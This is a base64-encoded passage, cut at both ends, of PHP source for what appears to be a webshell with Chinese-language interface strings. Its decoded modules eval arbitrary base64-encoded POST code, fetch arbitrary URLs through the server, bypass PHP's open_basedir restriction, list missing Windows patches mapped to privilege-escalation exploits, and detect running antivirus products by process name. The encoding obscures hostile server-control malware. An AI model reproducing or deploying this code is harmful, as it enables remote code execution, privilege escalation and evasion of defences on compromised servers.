T0iMTIzNDUiIHN0eWxlPSJ3aWR0aDo0MDBweCI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzBrL3TIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4KRU5EOwogICAgICAgIH0KCiAgICAgICAgYnJlYWs7CgoKICAgIGNhc2UgInBhdGNoRXhwIjoKICAgICAgICAkc3lzdGVtSW5mbyA9IGFycmF5KAogICAgICAgICAgICBhcnJheSgiTVMxNy0wMTciLCAiS0I0MDEzMDgxIiwgIkdESVBhbGV0dGVPYmplY3RzTG9jYWxQcml2aWxlZ2VFc2NhbGF0aW9uIiwgIndpbmRvd3M3LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTctMDEwIiwgIktCNDAxMzM4OSIsICJXaW5kb3dzS2VybmVsTW9kZURyaXZlcnMiLCAid2luZG93czcvMjAwOC8yMDAzL1hQIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE2LTEzNSIsICJLQjMxOTkxMzUiLCAiV2luZG93c0tlcm5lbE1vZGVEcml2ZXJzIiwgIjIwMTYiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTYtMTExIiwgIktCMzE4Njk3MyIsICJrZXJuZWxhcGkiLCAiV2luZG93czEwMTA1ODYoMzIvNjQpLzguMSIpLAogICAgICAgICAgICBhcnJheSgiTVMxNi0wOTgiLCAiS0IzMTc4NDY2IiwgIktlcm5lbERyaXZlciIsICJXaW44LjEiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTYtMDc1IiwgIktCMzE2NDAzOCIsICJIb3RQb3RhdG8iLCAiMjAwMy8yMDA4LzcvOC8yMDEyIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE2LTAzNCIsICJLQjMxNDMxNDUiLCAiS2VybmVsRHJpdmVyIiwgIjIwMDgvNy84LzEwLzIwMTIiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTYtMDMyIiwgIktCMzE0MzE0MSIsICJTZWNvbmRhcnlMb2dvbkhhbmRsZSIsICIyMDA4LzcvOC8xMC8yMDEyIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE2LTAxNiIsICJLQjMxMzYwNDEiLCAiV2ViREFWIiwgIjIwMDgvVmlzdGEvNyIpLAogICAgICAgICAgICBhcnJheSgiTVMxNi0wMTQiLCAiS0IzMTM0MjI4IiwgInJlbW90ZWNvZGVleGVjdXRpb24iLCAiMjAwOC9WaXN0YS83IiksCiAgICAgICAgICAgIGFycmF5KCJNUzE1LTA5NyIsICJLQjMwODk2NTYiLCAicmVtb3RlY29kZWV4ZWN1dGlvbiIsICJ3aW44LjEvMjAxMiIpLAoJICAgICAgICBhcnJheSgiTVMxNS0wNzYiLCAiS0IzMDY3NTA1IiwgIlJQQyIsICIyMDAzLzIwMDgvNy84LzIwMTIiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTUtMDc3IiwgIktCMzA3NzY1NyIsICJBVE0iLCAiWFAvVmlzdGEvV2luNy9XaW44LzIwMDAvMjAwMy8yMDA4LzIwMTIiKSwKCSAgICAgICAgYXJyYXkoIk1TMTUtMDYxIiwgIktCMzA1NzgzOSIsICJLZXJuZWxEcml2ZXIiLCAiMjAwMy8yMDA4LzcvOC8yMDEyIiksCiAgICAgICAgICAgIGFycmF5KCJNUzE1LTA1MSIsICJLQjMwNTcxOTEiLCAiV2luZG93c0tlcm5lbE1vZGVEcml2ZXJzIiwgIjIwMDMvMjAwOC83LzgvMjAxMiIpLAogICAgICAgICAgICBhcnJheSgiTVMxNS0wMTUiLCAiS0IzMDMxNDMyIiwgIktlcm5lbERyaXZlciIsICJXaW43LzgvOC4xLzIwMTIvUlQvMjAxMlIyLzIwMDhSMiIpLAoJICAgICAgICBhcnJheSgiTVMxNS0wMTAiLCAiS0IzMDM2MjIwIiwgIktlcm5lbERyaXZlciIsICIyMDAzLzIwMDgvNy84IiksCiAgICAgICAgICAgIGFycmF5KCJNUzE1LTAwMSIsICJLQjMwMjMyNjYiLCAiS2VybmVsRHJpdmVyIiwgIjIwMDgvMjAxMi83LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTQtMDcwIiwgIktCMjk4OTkzNSIsICJLZXJuZWxEcml2ZXIiLCAiMjAwMyIpLAogICAgICAgICAgICBhcnJheSgiTVMxNC0wNjgiLCAiS0IzMDExNzgwIiwgIkRvbWFpblByaXZpbGVnZUVzY2FsYXRpb24iLCAiMjAwMy8yMDA4LzIwMTIvNy84IiksCiAgICAgICAgICAgIGFycmF5KCJNUzE0LTA1OCIsICJLQjMwMDAwNjEiLCAiV2luMzJrLnN5cyIsICIyMDAzLzIwMDgvMjAxMi83LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTQtMDY2IiwgIktCMjk5MjYxMSIsICJXaW5kb3dzU2NoYW5uZWxBbGxvd2luZ3JlbW90ZWNvZGVleGVjdXRpb24iLCAiVmlzdGFTUDIvN1NQMS84L1dpbmRvd3M4LjEvMjAwM1NQMi8yMDA4U1AyLzIwMDhSMlNQMS8yMDEyLzIwMTJSMi9XaW5kb3dzUlQvV2luZG93c1JUOC4xIiksCgkgICAgICAgIGFycmF5KCJNUzE0LTA0MCIsICJLQjI5NzU2ODQiLCAiQUZERHJpdmVyIiwgIjIwMDMvMjAwOC8yMDEyLzcvOCIpLAogICAgICAgICAgICBhcnJheSgiTVMxNC0wMDIiLCAiS0IyOTE0MzY4IiwgIk5EUHJveHkiLCAiMjAwMy9YUCIpLAoJICAgICAgICBhcnJheSgiTVMxMy0wNTMiLCAiS0IyODUwODUxIiwgIndpbjMyay5zeXMiLCAiWFAvVmlzdGEvMjAwMy8yMDA4L3dpbjciKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTMtMDQ2IiwgIktCMjg0MDIyMSIsICJkeGdrcm5sLnN5cyIsICJWaXN0YS8yMDAzLzIwMDgvMjAxMi83IiksCgkgICAgICAgIGFycmF5KCJNUzEzLTAwNSIsICJLQjI3Nzg5MzAiLCAiS2VybmVsTW9kZURyaXZlciIsICIyMDAzLzIwMDgvMjAxMi93aW43LzgiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTItMDQyIiwgIktCMjk3MjYyMSIsICJTZXJ2aWNlQnVzIiwgIjIwMDgvMjAxMi93aW43IiksCiAgICAgICAgICAgIGFycmF5KCJNUzEyLTAyMCIsICJLQjI2NzEzODciLCAiUkRQIiwgIjIwMDMvMjAwOC83L1hQIiksCiAgICAgICAgICAgIGFycmF5KCJNUzExLTA4MCIsICJLQjI1OTI3OTkiLCAiQUZELnN5cyIsICIyMDAzL1hQIiksCiAgICAgICAgICAgIGFycmF5KCJNUzExLTA2MiIsICJLQjI1NjY0NTQiLCAiTkRJU1RBUEkiLCAiMjAwMy9YUCIpLAoJICAgICAgICBhcnJheSgiTVMxMS0wNDYiLCAiS0IyNTAzNjY1IiwgIkFGRC5zeXMiLCAiMjAwMy8yMDA4LzcvWFAiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTEtMDExIiwgIktCMjM5MzgwMiIsICJrZXJuZWxEcml2ZXIiLCAiMjAwMy8yMDA4LzcvWFAvVmlzdGEiKSwKICAgICAgICAgICAgYXJyYXkoIk1TMTAtMDkyIiwgIktCMjMwNTQyMCIsICJUYXNrU2NoZWR1bGVyIiwgIjIwMDgvNyIpLAogICAgICAgICAgICBhcnJheSgiTVMxMC0wNTkiLCAiS0I5ODI3OTkiLCAiQUNMLUNodXJyYXNraXRvIiwgIjIwMDgvNy9WaXN0YSIpLAogICAgICAgICAgICBhcnJheSgiTVMxMC0wNDgiLCAiS0IyMTYwMzI5IiwgIndpbjMyay5zeXMiLCAiWFBTUDImU1AzLzIwMDNTUDIvVmlzdGFTUDEmU1AyLzIwMDhHb2xkJlNQMiZSMi9XaW43IiksCiAgICAgICAgICAgIGFycmF5KCJNUzEwLTAxNSIsICJLQjk3NzE2NSIsICJLaVRyYXAwRCIsICIyMDAzLzIwMDgvNy9YUCIpLAogICAgICAgICAgICBhcnJheSgiTVMxMC0wMTIiLCAiS0I5NzE0NjgiLCAiU01CQ2xpZW50VHJhbnMyc3RhY2tvdmVyZmxvdyIsICJXaW5kb3dzNy8yMDA4UjIiKSwKCSAgICAgICAgYXJyYXkoIk1TMDktMDUwIiwgIktCOTc1NTE3IiwgIlJlbW90ZUNvZGVFeGVjdXRpb24iLCAiMjAwOC9WaXN0YSIpLAoJICAgICAgICBhcnJheSgiTVMwOS0wMjAiLCAiS0I5NzA0ODMiLCAiSUlTNi4wIiwgIklJUzUuMWFuZDYuMCIpLAoJICAgICAgICBhcnJheSgiTVMwOS0wMTIiLCAiS0I5NTk0NTQiLCAiQ2hpbWljaHVycmkiLCAiVmlzdGEvd2luNy8yMDA4L1Zpc3RhIiksCiAgICAgICAgICAgIGFycmF5KCJNUzA4LTA2OCIsICJLQjk1NzA5NyIsICJSZW1vdGVDb2RlRXhlY3V0aW9uIiwgIjIwMDAvWFAiKSwKCSAgICAgICAgYXJyYXkoIk1TMDgtMDY3IiwgIktCOTU4NjQ0IiwgIlJlbW90ZUNvZGVFeGVjdXRpb24iLCAiV2luZG93czIwMDAvWFAvU2VydmVyMjAwMy9WaXN0YS9TZXJ2ZXIyMDA4IiksCgkgICAgICAgIGFycmF5KCJNUzA4LTA2NiIsICJLQjk1NjgwMyIsICJBRkQuc3lzIiwgIldpbmRvd3MyMDAwL1hQL1NlcnZlcjIwMDMiKSwgYXJyYXkoIk1TMDgtMDI1IiwgIktCOTQxNjkzIiwgIldpbjMyLnN5cyIsICJYUC8yMDAzLzIwMDgvVmlzdGEiKSwKCSAgICAgICAgYXJyYXkoIk1TMDYtMDQwIiwgIktCOTIxODgzIiwgIlJlbW90ZUNvZGVFeGVjdXRpb24iLCAiMjAwMy94cC8yMDAwIiksCgkgICAgICAgIGFycmF5KCJNUzA1LTAzOSIsICJLQjg5OTU4OCIsICJQblBTZXJ2aWNlIiwgIldpbjlYL01FL05ULzIwMDAvWFAvMjAwMyIpLAoJICAgICAgICBhcnJheSgiTVMwMy0wMjYiLCAiS0I4MjM5ODAiLCAiQnVmZmVyT3ZlcnJ1bkluUlBDSW50ZXJmYWNlIiwiTlQvMjAwMC9YUC8yMDAzIiksCgkgICAgICAgIGFycmF5KCJDVkUtMjAyMC0xMDM0IiwgIktCNDU3NzAxNSxLQjQ1NzQ3MjcsS0I0NTcxNzU2LEtCNDU3MDMzMyxLQjQ1NzcwMzgsS0I0NTc3MDQ4LEtCNDU3NzA0OSxLQjQ1NzcwNjYsS0I0NTc3MDcxLEtCNDU3NzAzMixLQjQ1NzcwNDEiLCAibnRvc2tybmwuZXhlIiwgIjIwMTkvMjAxNi8yMDEyLzIwMDQvMTkwMy8xOTA5L1dpbjEwoaI4LjEiKSwKCSAgICAgICAgYXJyYXkoIkNWRS0yMDIwLTEwNTIiLCAiS0I0NTcxNzU2LEtCNDU3NzA0MSxLQjQ1NzcwMTUsS0I0NTc3MDY0LEtCNDU3NzA3MCxLQjQ1NzQ3MjcsS0I0NTcwMzMzLEtCNDU3NzA1MSxLQjQ1NzcwNTMsS0I0NTc3MDQ5LEtCNDU3NzA2NixLQjQ1NzcwNzEsS0I0NTc3MDM4LEtCNDU3NzA0OCxLQjQ1NzcwMzIiLCAic3NkcHNydi5kbCIsICIxOTA5LzIwMDQvMjAwOC8yMDEyLzIwMTYvMjAxOS9XaW4xMKGiN6GiOC4xIikpOwogICAgICAgIG9iX3N0YXJ0KCk7CgogICAgICAgIGlmIChzdHJwb3MoUEhQX09TLCAiV0lOIikgIT09IDApIHsKICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPrWxx7Cy2df3z7XNs86qOicgLiBQSFBfT1MgLiAnLNTdsrvWp7PWPC9mb250Pic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgZWNobyBFeGVjX1J1bigic3lzdGVtaW5mbyIpOwogICAgICAgICRkYXRhID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CgogICAgICAgIGlmICgkZGF0YSA9PSBudWxsIHx8IGVtcHR5KCRkYXRhKSkgewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+u/HIoc+1zbOyubahyqew3CHH68i3saPO3r3708O6r8r9oaM8L2ZvbnQ+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgICAgICBwcmludF9yKAogICAgICAgICAgICA8PDxFT0YKPGgzPjxmb250IGNvbG9yPSIjRkYwMDAwIj7XotLiLLK/t9a9z9DCz7XNs9PJ09rX1LT4srm2oSzL+dLUsru74c/Uyr7S0bCy17C1xL3PwM+yubahLLTLveG5+732uamyzr+8PC9mb250PjwvaDM+Cjx0YWJsZSBib3JkZXI9IjEiPgo8dHI+Cjx0aD7Cqba0seC6xTwvdGg+PHRoPrK5tqG6xTwvdGg+PHRoPsPoyvY8L3RoPjx0aD7TsM/st7bOpzwvdGg+CjwvdHI+CkVPRgogICAgICAgICk7CgogICAgICAgIGZvciAoJGkgPSAwIDsgJGkgPD0gY291bnQoJHN5c3RlbUluZm8pLTE7ICRpKyspewogICAgICAgICAgICBpZiAoc3RycG9zKCRzeXN0ZW1JbmZvWyRpXVsxXSwnLCcpICE9PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAkcGF0Y2hlcyA9IGV4cGxvZGUoJywnLCRzeXN0ZW1JbmZvWyRpXVsxXSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGF0Y2hlcyBhcyAkcGF0Y2gpewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGRhdGEsICRwYXRjaCkgPT09IGZhbHNlKXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCBhbGlnbj0nY2VudGVyJz4iLiRzeXN0ZW1JbmZvWyRpXVswXS4iPC90ZD48dGQgYWxpZ249J2NlbnRlcic+Ii4kcGF0Y2guIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInPiIuJHN5c3RlbUluZm9bJGldWzJdLiI8L3RkPjx0ZCBhbGlnbj0nY2VudGVyJz4iLiRzeXN0ZW1JbmZvWyRpXVszXS4iPC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwgJHN5c3RlbUluZm9bJGldWzFdKSA9PT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgYWxpZ249J2NlbnRlcic+Ii4kc3lzdGVtSW5mb1skaV1bMF0uIjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInPiIuJHN5c3RlbUluZm9bJGldWzFdLiI8L3RkPjx0ZCBhbGlnbj0nY2VudGVyJz4iLiRzeXN0ZW1JbmZvWyRpXVsyXS4iPC90ZD48dGQgYWxpZ249J2NlbnRlcic+Ii4kc3lzdGVtSW5mb1skaV1bM10uIjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJnZXRjb2RlIjoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHsKICAgICAgICAgICAgJHByb3h5Y29udGVudHMgPSBpY29udigiVVRGLTgiLCAiZ2JrLy9UUkFOU0xJVCIsIEBHZXRIdG1sKCRfUE9TVFsndXJsJ10pKTsKICAgICAgICAgICAgZWNobyAoJHByb3h5Y29udGVudHMpID8gJHByb3h5Y29udGVudHMgOiAiPGJvZHkgYmdjb2xvcj1cIiNGNUY1RjVcIiBzdHlsZT1cImZvbnQtc2l6ZTogMTJweDtcIj48Y2VudGVyPjxicj48cD48Yj678cihIFVSTCDE2sjdyqew3DwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgICAgIHByaW50PDw8RU5ECjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGJnY29sb3I9IiNmZmZmZmYiPgogPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9InByb3h5ZnJhbWUiPgogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPgoJPHRkIGFsaWduPSJjZW50ZXIiPjxiPtTaz9+0+sDtPC9iPjwvdGQ+CiAgPC90cj4KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+Cgk8dGQgYWxpZ249ImNlbnRlciIgID48YnI+PHVsPjxsaT7Tw7G+uabE3L32yrXP1rzytaW1xCBIVFRQILT6wO0ssru74c/Uyr7KudPDz+C21MK3vra1xM28xqyhosG0vdO8sENTU9H5yr2x7S48L2xpPjxsaT7Tw7G+uabE3L/J0tTNqLn9sb63/s7xxvfkr8DAxL+x6lVSTCy1q7K71qez1iBTUUwgSW5qZWN0aW9uIMy9suLS1LywxLPQqczYyuLX1rf7LjwvbGk+PGxpPtPDsb65psTc5K/AwLXEIFVSTCzU2sS/serW97v6yc/B9M/CtcRJULzHwrzKxyA6IHskX1NFUlZFUlsnU0VSVkVSX0FERFInXX08L2xpPjwvdWw+PC90ZD4KICA8L3RyPgogIDx0ciBjbGFzcz0iZmlyc3RhbHQiPgoJPHRkIGFsaWduPSJjZW50ZXIiIGhlaWdodD00MCAgPlVSTDogPGlucHV0IG5hbWU9InVybCIgdmFsdWU9Imh0dHBzOi8vYmFpZHUuY29tIiB0eXBlPSJ0ZXh0IiAgY2xhc3M9ImlucHV0IiBzaXplPSIxMDAiID4KIDxpbnB1dCBuYW1lPSIiIHZhbHVlPSLkr8DAIiB0eXBlPSJzdWJtaXQiICBjbGFzcz0iaW5wdXQiIHNpemU9IjMwIiA+CjwvdGQ+CiAgPC90cj4KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+Cgk8dGQgYWxpZ249ImNlbnRlciIgID48aWZyYW1lIG5hbWU9InByb3h5ZnJhbWUiIGZyYW1lYm9yZGVyPSIwIiB3aWR0aD0iNzY1IiBoZWlnaHQ9IjQwMCIgbWFyZ2luaGVpZ2h0PSIwIiBtYXJnaW53aWR0aD0iMCIgc2Nyb2xsaW5nPSJhdXRvIiBzcmM9ImFib3V0OmJsYW5rIj48L2lmcmFtZT48L3RkPgogIDwvdHI+CjwvZm9ybT48L3RhYmxlPgpFTkQ7CiAgICAgICAgYnJlYWs7CiAgICBjYXNlICJieXBhc3NPcGVuQmFzZWRpciI6CiAgICAgICAgJGluZm8gPSBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKICAgICAgICAkcGx1Z2luU3RhdHVzID0gIs60v6rG9CI7CiAgICAgICAgJGRpclN0YXR1cyA9IGVtcHR5KCRpbmZvKT8izt60y8/e1sYszt7Q6Mb008OxvrLlvP4iOiRpbmZvOwogICAgICAgIGlmKGlzc2V0KCRfU0VTU0lPTlsnYnlwYXNzX29wZW5fYmFzZWRpciddKSkKICAgICAgICAgICAgJHBsdWdpblN0YXR1cyA9ICLS0b+qxvQiOwoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0dXJuX29uJ10pKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnYnlwYXNzX29wZW5fYmFzZWRpciddID0gdHJ1ZTsKICAgICAgICAgICAgJHBsdWdpblN0YXR1cyA9ICLS0b+qxvQiOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndHVybl9vZmYnXSkpIHsKICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydieXBhc3Nfb3Blbl9iYXNlZGlyJ10pOwogICAgICAgICAgICAkcGx1Z2luU3RhdHVzID0gIs60v6rG9CI7CiAgICAgICAgfQoKICAgICAgICBwcmludF9yKDw8PEVPRgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsq508O3vbeoo7o8YnI+CrG+suW8/tPDwLTIxrn9cGhwt8C/58S/wrzP3tbGPGJyPjxicj4KtbHHsG9wZW4gYmFzZWRpcte0zKw6JGRpclN0YXR1czxicj4KtbHHsLLlvP7XtMysOiRwbHVnaW5TdGF0dXM8YnI+PGJyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0dXJuX29uIiB2YWx1ZT0iv6rG9CIgc3R5bGU9IndpZHRoOjUwcHg7Ij48YnI+CjwvZm9ybT4KPGJyPiAgICAgICAgIAo8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0dXJuX29mZiIgdmFsdWU9IrnYsdUiIHN0eWxlPSJ3aWR0aDo1MHB4OyI+ICAgCjwvZm9ybT4KPC9kaXY+CkVPRgopOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgInBocGNvZGUiOgogICAgICAgICRwaHBjb2RlID0gaXNzZXQoJF9QT1NUWydwaHBjb2RlJ10pID8gJF9QT1NUWydwaHBjb2RlJ10gOiAicGhwaW5mbygpOyI7CiAgICAgICAgaWYgKCRwaHBjb2RlICE9ICdwaHBpbmZvKCk7JykgJHBocGNvZGUgPSBodG1sc3BlY2lhbGNoYXJzKGJhc2U2NF9kZWNvZGUoJHBocGNvZGUpKTsKICAgICAgICBlY2hvICc8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4nOwogICAgICAgIGh0bWxfYmFzZSgpOwogICAgICAgIGVjaG8gJ2Z1bmN0aW9uIFN1Ym1pdFVybCgpewoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3BocGNvZGVcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdwaHBjb2RlXCcpLnZhbHVlKTsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdzZW5kY29kZVwnKS5zdWJtaXQoKTsKCX08L3NjcmlwdD48dHI+PHRkPjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9InNlbmRjb2RlIiA+srvTw9C0Jmx0Oz8gPyZndDux6sepLLTLuabE3NPFu6/KudPDQkFTRTY0vNPD3LSry82jrLfA1rm28dLitPrC67G7wLmjrNPDwcu+zdaqtcCjqNCh0KHPuL3ao6zXoraos8m+zaOpPGJyPjxicj48dGV4dGFyZWEgQ09MUz0iMTIwIiBST1dTPSIzNSIgbmFtZT0icGhwY29kZSIgaWQ9InBocGNvZGUiPicgLiAkcGhwY29kZSAuICc8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ita00NAiIG9uY2xpY2s9IlN1Ym1pdFVybCgpOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4nOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwaHBjb2RlJ10pKSB7CiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsKICAgICAgICAgICAgZXZhbChzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3BocGNvZGUnXSkpKTsKICAgICAgICB9CiAgICAgICAgaHRtbF9uKCc8L2Zvcm0+Jyk7CiAgICAgICAgYnJlYWs7CgoKICAgIGNhc2UgImF2RmluZCI6CiAgICAgICAgb2Jfc3RhcnQoKTsKCiAgICAgICAgaWYgKHN0cnBvcyhQSFBfT1MsICJXSU4iKSAhPT0gMCkgewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+tbHHsLLZ1/fPtc2zzqo6JyAuIFBIUF9PUyAuICcs1N2yu9ans9Yos/13aW5kb3dzzeLG5Mv8stnX98+1zbO63MnZ09DJscjtKTwvZm9udD4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgoKICAgICAgICBlY2hvIEV4ZWNfUnVuKCJ0YXNrbGlzdCAvc3ZjIik7CiAgICAgICAgJGRhdGEgPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKCiAgICAgICAgaWYgKCRkYXRhID09IG51bGwgfHwgZW1wdHkoJGRhdGEpKSB7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj678cihvfizzMqnsNwhx+vIt7Gjzt69+9PDuq/K/aGjPC9mb250Pic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgJHBhdHRlcm4gPSAiL1xuLio/ZXhlLyI7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sICRkYXRhLCAkdG1wKTsKCiAgICAgICAgJHRtcCA9IGFycmF5X3VuaXF1ZSgkdG1wKTsKICAgICAgICAkcHJvY2Vzc05hbWVzID0gJHRtcFswXTsKICAgICAgICAkYXZMaXN0ID0gYXJyYXkoCiAgICAgICAgICAgICIzNjB0cmF5LmV4ZSIgPT4gIjM2MLCyyKvOwMq/Lcq1yrGxo7ukIiwKICAgICAgICAgICAgIjM2MHNhZmUuZXhlIiA9PiAiMzYwsLLIq87Ayr8t1vezzNDyIiwKICAgICAgICAgICAgIlpodURvbmdGYW5nWXUuZXhlIiA9PiAiMzYwsLLIq87Ayr8t1ve2r7fA0/kiLAogICAgICAgICAgICAiMzYwc2QuZXhlIiA9PiAiMzYwybG2viIsCiAgICAgICAgICAgICJhMmd1YXJkLmV4ZSIgPT4gImEtc3F1YXJlZMmxtr4iLAogICAgICAgICAgICAiYWQtd2F0Y2guZXhlIiA9PiAiTGF2YXNvZnTJsba+IiwKICAgICAgICAgICAgImNsZWFuZXI4LmV4ZSIgPT4gIlRoZSBDbGVhbmVyybG2viIsCiAgICAgICAgICAgICJ2YmEzMmxkZXIuZXhlIiA9PiAidmIzMsmxtr4iLAogICAgICAgICAgICAiTW9uZ29vc2FHVUkuZXhlIiA9PiAiTW9uZ29vc2HJsba+IiwKICAgICAgICAgICAgIkNvcmFudGlDb250cm9sQ2VudGVyMzIuZXhlIiA9PiAiQ29yYW50aTIwMTLJsba+IiwKICAgICAgICAgICAgIkYtUFJPVC5leGUiID0+ICJGLVByb3QgQW50aVZpcnVzIiwKICAgICAgICAgICAgIkNNQ1RyYXlJY29uLmV4ZSIgPT4gIkNNQ8mxtr4iLAogICAgICAgICAgICAiSzdUU2VjdXJpdHkuZXhlIiA9PiAiSzfJsba+IiwKICAgICAgICAgICAgIlVuVGhyZWF0LmV4ZSIgPT4gIlVuVGhyZWF0ybG2viIsCiAgICAgICAgICAgICJDS1NvZnRTaGllZEFudGl2aXJ1czQuZXhlIiA9PiAiU2hpZWxkIEFudGl2aXJ1c8mxtr4iLAogICAgICAgICAgICAiQVZXYXRjaFNlcnZpY2UuZXhlIiA9PiAiVklSVVNmaWdodGVyybG2viIsCiAgICAgICAgICAgICJBcmNhVGFza3NTZXJ2aWNlLmV4ZSIgPT4gIkFyY2FWaXLJsba+IiwKICAgICAgICAgICAgImlwdHJheS5leGUiID0+ICJJbW11bmV0ybG2viIsCiAgICAgICAgICAgICJQU2FmZVN5c1RyYXkuZXhlIiA9PiAiUFNhZmXJsba+IiwKICAgICAgICAgICAgIm5zcHVwc3ZjLmV4ZSIgPT4gIm5Qcm90ZWN0ybG2viIsCiAgICAgICAgICAgICJTcHl3YXJlVGVybWluYXRvclNoaWVsZC5leGUiID0+ICJTcHl3YXJlVGVybWluYXRvcre0vOS1/cjtvP4iLAogICAgICAgICAgICAiQkthdlNlcnZpY2UuZXhlIiA9PiAiQmthdsmxtr4iLAogICAgICAgICAgICAiTXNNcEVuZy5leGUiID0+ICJXaW5kb3dzIERlZmVuZGVyIiwKICAgICAgICAgICAgIlNCQU1TdmMuZXhlIiA9PiAiVklQUkUiLAogICAgICAgICAgICAiY2NTdmNIc3QuZXhlIiA9PiAiTm9ydG9uybG2viIsCiAgICAgICAgICAgICJmLXNlY3VyZS5leGUiID0+ICKx+bW6IiwKICAgICAgICAgICAgImF2cC5leGUiID0+ICJLYXNwZXJza3kiLAogICAgICAgICAgICAiS3ZNb25YUC5leGUiID0+ICK9rcPxybG2viIsCiAgICAgICAgICAgICJSYXZNb25ELmV4ZSIgPT4gIsjw0MfJsba+IiwKICAgICAgICAgICAgIk1jc2hpZWxkLmV4ZSIgPT4gIk1jQWZlZSIsCiAgICAgICAgICAgICJUYm1vbi5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiRnJhbWV3b3Jrc2VydmljZS5leGUiID0+ICJNY0FmZWUiLAogICAgICAgICAgICAiZWd1aS5leGUiID0+ICJFU0VUIE5PRDMyIiwKICAgICAgICAgICAgImVrcm4uZXhlIiA9PiAiRVNFVCBOT0QzMiIsCiAgICAgICAgICAgICJlZ3VpUHJveHkuZXhlIiA9PiAiRVNFVCBOT0QzMiIsCiAgICAgICAgICAgICJreGV0cmF5LmV4ZSIgPT4gIr3wyb22vrDUIiwKICAgICAgICAgICAgImtuc2R0cmF5LmV4ZSIgPT4gIr/JxaPJsba+IiwKICAgICAgICAgICAgIlRNQk1TUlYuZXhlIiA9PiAix/fKxsmxtr4iLAogICAgICAgICAgICAiYXZjZW50ZXIuZXhlIiA9PiAiQXZpcmEo0KG67MmhKSIsCiAgICAgICAgICAgICJhdmd1YXJkLmV4ZSIgPT4gI